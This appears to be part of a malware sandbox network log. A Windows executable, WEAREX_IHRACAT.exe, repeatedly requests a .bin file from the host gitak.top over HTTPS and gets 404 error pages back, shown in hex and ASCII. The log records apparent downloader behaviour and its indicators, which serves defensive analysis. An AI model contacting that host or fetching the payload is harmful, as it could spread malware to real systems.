2024-08-29 10:42:56 UTC	687	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:42:56 UTC	1369	IN	Data Raw: 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 Data Ascii: 0px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeI
2024-08-29 10:42:56 UTC	916	IN	Data Raw: 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 Data Ascii: 2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h5
2024-08-29 10:42:56 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:42:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49792	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:43:06 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:43:06 UTC	678	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:43:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 168 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7Th%2F8Vb4dHHXArb7cx59BBVc87nvJf%2FkctRSGb54018w3bD7fVg3zI5%2Fec8AKupGUwgCcLMuJ0n9cCjXQASLw1zbGqJkvhSaaPE8zL3nDYgQoyt6XKX7OcSQdM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf02e69c8172f-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:43:06 UTC	691	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:43:06 UTC	1369	IN	Data Raw: 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:43:06 UTC	913	IN	Data Raw: 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e Data Ascii: 3 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.
2024-08-29 10:43:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49793	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:43:16 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:43:17 UTC	682	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:43:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 179 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dbk%2FKlA5H5JLhG8PPhB65XbwQbdmh%2BQuyX7czVbll9LXT2Gn6wLrXAg2J01sP%2BrLITcKC2G80RJdaTG2N3GJ00IoPwRLkpY2uN0YM7%2Bs37rw0vlUL%2BiDrvlu77o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf0706a5c05ce-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:43:17 UTC	687	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:43:17 UTC	1369	IN	Data Raw: 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 Data Ascii: 0px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeI
2024-08-29 10:43:17 UTC	917	IN	Data Raw: 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 Data Ascii: 2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h5
2024-08-29 10:43:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49794	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:43:27 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:43:28 UTC	674	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:43:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Od4qaBQE%2FtUECG2uHXncFSGFpGy%2BElvcGv%2F4Zuev9uqQg3CYtB0J5RH5UGOt1uAq3oNKrZGFbXkZC5ZN8paB1%2F2pdPTk02kUIZNS3jKtbuNJRKQgd08JUWCvWLc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf0b24fe40609-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:43:28 UTC	695	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:43:28 UTC	1369	IN	Data Raw: 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:43:28 UTC	909	IN	Data Raw: 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 Data Ascii: .415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627
2024-08-29 10:43:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49795	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:43:38 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:43:38 UTC	683	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:43:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 11 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=woX15csC0YOdsa1t8EAgxqkSaWKCCfkIOd%2Bw7Tlq0AZCVdXVwSZi9akJ%2FX4%2Fz%2FDXfb2Z8hEgZN1RbvaspsX9mjx7%2B5K8T45kDCrg9oMv%2BNEBzj31wMu03OoMeCU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf0f58f11c97c-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:43:38 UTC	686	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:43:38 UTC	1369	IN	Data Raw: 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 Data Ascii: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fade
2024-08-29 10:43:38 UTC	918	IN	Data Raw: 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 Data Ascii: -2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h
2024-08-29 10:43:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49796	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:43:48 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:43:49 UTC	675	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:43:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 21 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4jLzCJsXLh%2FbWWp8BjVWVvbN3PyjdVuDU6cM5nc8f7Z%2Bx3yGVBy1YNlbzREWZFtOZoFTWPylOsvMeUFnOmg90cQlbqRlz5twBb0gZcQF0EnzDJeFM8C7NTFqGUo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf1371bc759ce-IAD alt-svc: h3=":443"; ma=86400
